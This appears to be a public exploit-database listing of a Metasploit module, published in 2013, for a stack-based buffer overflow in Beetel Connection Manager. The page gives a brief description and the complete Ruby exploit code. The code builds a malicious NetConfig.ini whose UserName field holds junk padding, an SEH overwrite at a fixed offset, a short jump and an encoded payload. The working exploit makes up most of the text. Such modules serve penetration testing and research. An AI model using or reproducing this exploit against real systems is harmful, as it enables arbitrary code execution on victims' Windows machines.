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Beetel Connection Manager NetConfig.ini Buffer Overflow

Beetel Connection Manager NetConfig.ini Buffer Overflow
Posted Oct 30, 2013
Authored by metacom, wvu | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow on Beetel Connection Manager. The vulnerability exists in the parsing of the UserName parameter in the NetConfig.ini file. The module has been tested successfully on PCW_BTLINDV1.0.0B04 over Windows XP SP3 and Windows 7 SP1.b.

tags | exploit, overflow
systems | windows
SHA-256 | 5725c9ac2f84dcb5cc5ed565457c90d22f10b51d892638c34a3586733b434570

Beetel Connection Manager NetConfig.ini Buffer Overflow

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "msf/core"

class Metasploit4 < Msf::Exploit

Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => "Beetel Connection Manager NetConfig.ini Buffer Overflow",
'Description' => %q{
This module exploits a stack-based buffer overflow on Beetel Connection Manager. The
vulnerability exists in the parising of the UserName parameter in the NetConfig.ini
file. The module has been tested successfully on PCW_BTLINDV1.0.0B04 over Windows XP
SP3 and Windows 7 SP1.b
},
'License' => MSF_LICENSE,
'Author' =>
[
"metacom", # Vuln/PoC
"wvu" # Metasploit
],
'References' =>
[
[ "OSVDB", "98714" ],
[ "EDB", "28969" ]
],
'Payload' =>
{
"Space" => 1504,
"BadChars" => "\x00\x09\x0a\x0b\x0c\x0d\x20",
"DisableNops" => true
},
'Platform' => "win",
'Targets' =>
[
["PCW_BTLINDV1.0.0B04 (WinXP SP3, Win7 SP1)",
{
"Offset" => 468,
"Ret" => 0x0105e2f6 # p/p/r (WaitingForm.dll 1.0.0.0)
}
]
],
'Privileged' => false,
'DisclosureDate' => "Oct 12 2013",
'DefaultTarget' => 0
))

register_options([
OptString.new("FILENAME", [true, "INI file", "NetConfig.ini"]),
OptString.new("SECTION", [true, "Section name", "Edit Me"])
], self.class)
end

def exploit
section = datastore["SECTION"]

sploit = "[#{section}]\r\n" \
"UserName=#{shell_popper}"

file_create(sploit)
end

def shell_popper
junk = rand_text(target["Offset"])
seh = generate_seh_record(target.ret)
jump = Rex::Arch::X86.jmp_short(66)
padding = rand_text(66) # Pad past buffer corruption

junk << seh << jump << padding << payload.encoded
end

end
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